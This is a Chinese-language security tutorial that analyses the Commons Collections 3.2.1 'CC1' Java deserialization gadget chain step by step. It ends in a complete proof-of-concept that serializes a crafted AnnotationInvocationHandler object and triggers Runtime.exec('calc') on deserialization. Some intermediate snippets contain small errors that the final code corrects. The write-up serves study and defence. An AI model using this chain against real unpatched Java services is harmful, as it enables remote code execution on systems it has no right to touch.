Java安全 CC1链分析
Commons Collections简介
Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链(国内版本的)。
Commons Collections增强了Java集合框架。 它提供了几个功能来简化收集处理。 它提供了许多新的接口,实现和实用程序
https://www.yiibai.com/commons_collections/commons_collections_overview.html
漏洞环境
-
CommonsCollections <= 3.2.1
-
java < 8u71
导入Maven依赖
访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
首先设置在pom.xml环境
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
存在漏洞的版本 commons-collections3.1-3.2.1 8u71之后已修复不可利用
java 版本 jdk-8u65 解压src.zip 下载sun源码 将它加入到src目录下 ,具体可以找网上视频部署
在idea里添加sdk版本把sun目录加入 即可查询源码
如果碰到这个问题可参考学习CC1碰到AnnotationInvocationHandler.java库源与类 AnnotationInvocationHandler 的字节码不符-CSDN博客
cc1链分析
Transformer
具体位置在package org.apache.commons.collections包下
Transformer
是一个接口类,提供了一个对象转换方法transform
package org.apache.commons.collections;
public interface Transformer {
public Object transform(Object input);
}
跟踪链子,查看有谁调用
把目光放在ConstantTransformer、
invokerTransformer、
ChainedTransformer、
TransformedMap上,先跟着invokeinvokerTransformer来走。
invokerTransformer
如图发现此处有同名方法
在 org/apache/commons/collections/functors/InvokerTransformer.java 这个类中存在
这里就相当于通过反射调用某个方法,存在任意调用,写链子弹计算器
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r)
怎么理解,由于InvokerTransformer的transform方法不是静态方法,得实例化在调用
弹计算器:Runtime.getRuntime.exec();
根据构造方法的参数类型,进行实例化
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
TransformedMap
对着 InvokerTransformer的transform方法进行find usages进行跟踪,我们关注TransformedMap
我们找到了调用方法
那我们如何调用?这一块是个保护方法非公共。往上翻翻,decorate实现了对该类构造函数的调用。可利用这个进行实例化调用
decorate还是一个静态方法,非常方便。捋一下,我们要触发TransformedMap的checkSetValue方法,用非静态方法要进行实例化调用。注意checkSetValue传的是value,key值可忽略写null即可
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
HashMap<Object,Object> map = new HashMap<>();
TransformedMap.decorate(map,null,invokerTransformer);
AbstractInputCheckedMapDecorator
在org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java处
这里的setValue方法处调用了
TransformedMap.java 的父类是AbstractInputCheckedMapDecorator
TransformedMap是继承 AbstractMapEntryDecorator的抽象类的 所以可以使用抽象类中的setValue方法。
MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。
ransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。
-
普通类继承,并非一定要重写父类方法。
-
抽象类继承,如果子类也是一个抽象类,并不要求一定重写父类方法。如果子类不是抽象类,则要求子类一定要实现父类中的抽象方法。
但是往前头看很明显AbstractInputCheckedMapDecorator是一个抽象类,所以作为子类就一定要重写这里的setValue方法。
MapEntry是他的父类而且也是个静态类, transformers 调用 setValues 会直接调用到父类中静态类MapEntry 的 setValues
因为是继承父类的方法。
payload如下
package cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value"); //设置map的值
Map<Object,Object> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer); //invokerTransformer传入值
for(Map.Entry entry:TransformedMapMethod.entrySet()){//在map里一种遍历方式
entry.setValue(r); //这里相当于 invokerTransformer.transform(value);
}
}
}
AnnotationInvocationHandler
setVavlue最终还是要被 readObject 调用
在 sun/reflect/annotation/AnnotationInvocationHandler.java处
巧合的是在这里,也看到了Map的遍历。想办法调用实例化调用,但是AnnotationInvocationHandler 这个类不是public 默认是default 所以要使用这个类 必须反射调用。所以紧跟着上面的payload构造
package cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value"); //设置map的值
Map<Object,Object> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer); //invokerTransformer传入值
for(Map.Entry entry:TransformedMapMethod.entrySet()){//在map里一种遍历方式
entry.setValue(r); //这里相当于 invokerTransformer.transform(value);
}
Class c=Class.forName("sun/reflect/annotation/AnnotationInvocationHandler");
//反射构造函数出来
Constructor annotationdeclaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//暴力反射
annotationdeclaredConstructor.setAccessible(true);
//反射实例化传值
Object o=annotationdeclaredConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
}
如果没有弹出计算器,涉及到问题2的一个问题,要满足readObject的双if判断
问题1Runtime本身不能序列化
Runtime本身是不能序列化的,它其实并没有继承implements Serializable。 解决Runtime不能序列化问题,所以通过反射来解决。
而反射中用Runtime.Class可实现序列化。
所以得写成反射形式
Class s = Runtime.class;
Method method = s.getMethod("getRuntime",null);
Runtime c= (Runtime) method.invoke(null, null);
Method methodexec = s.getMethod("exec", String.class);
methodexec.invoke(c,"calc");
getRuntime是一个静态,无参方法
Runtime c= (Runtime) method.invoke(null, null);这块两个null值。
然后想着把invokeTransformer带进去,因为invokerTransformer的transform方法存在任意调用。InvokeTransformer调用了任意类的任意方法 你得把你的runtime的反射给他传进去。payload放到下一个再写。
ConstantTransformer
我们引入ConstantTransformer,此处有transform方法,函数分析,此方法如果传入一个数组,就会实现了递归调用。将前1个值的输出当作后面第2个值的输入
所以实例化要写成Transformer[] transformers = new Transformer[],在进去递归调用,传入invokeTransformer的值。链式调用。
上面payload写法可以注释掉
Transformer[] transformers = new Transformer[]{
//传入Runtime.class,反射第一步,获取class类对象,传入危险函数,这一步看下面 ConstantTransformer
new ConstantTransformer(Runtime.class),
InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, null})为什么这么写。
首先InvokerTransformer要传三参数,前面写过,里面String.class, Class[].class怎么理解?看上图的getMethod的传参。下面的invoke也是同理
ConstantTransformer
接受一个对象返回一个常量,无论接收什么对象都返回 iConstant
通过 ConstantTransformer类 Runtime.class
transform 可以传入任意值 都会返回 Runtime.class
所以写成new ConstantTransformer(Runtime.class)zhu
注意 readObject方法中setValue方法中的值为 AnnotationTypeMismatchExceptionProxy,不是我们想要的Runtime.class,所以在 transformers 中加入了 new ConstantTransformer(Runtime.class),确保value值为我们的Runtime.class
问题2readObject方法中有两个if判断
我们需要满足两个 if判断 才能成功执行setValue方法
前面AnnotationInvocationHandler的payload
Object o=annotationdeclaredConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize(“ser.bin”);
这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的。
Override.class是没有成员变量的,所以为空,要不为空才能进去,满足if判断。改成Target.class,Target有一个成员变量
所以我们就可以使用这个注解,并改第一个键值对的值为value
package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception{
/*
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value"); //设置map的值
Map<Object,Object> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer); //invokerTransformer传入值
for(Map.Entry entry:TransformedMapMethod.entrySet()){//在map里一种遍历方式
entry.setValue(r); //这里相当于 invokerTransformer.transform(value);
}*/
/* //序列化的版本
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime)getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
Object obj= execMethod.invoke(r,"calc");
*/
/*
InvokerTransformer 版本执行命令
Method getRuntimeMethod= (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{ Object.class,Object[].class},new Object[]{null,null }).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{ Object.class,Object[].class},new Object[]{null,null }),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();
//解决问题2的问题
map.put("value","value"); //设置map的值
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //获取类
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
}
``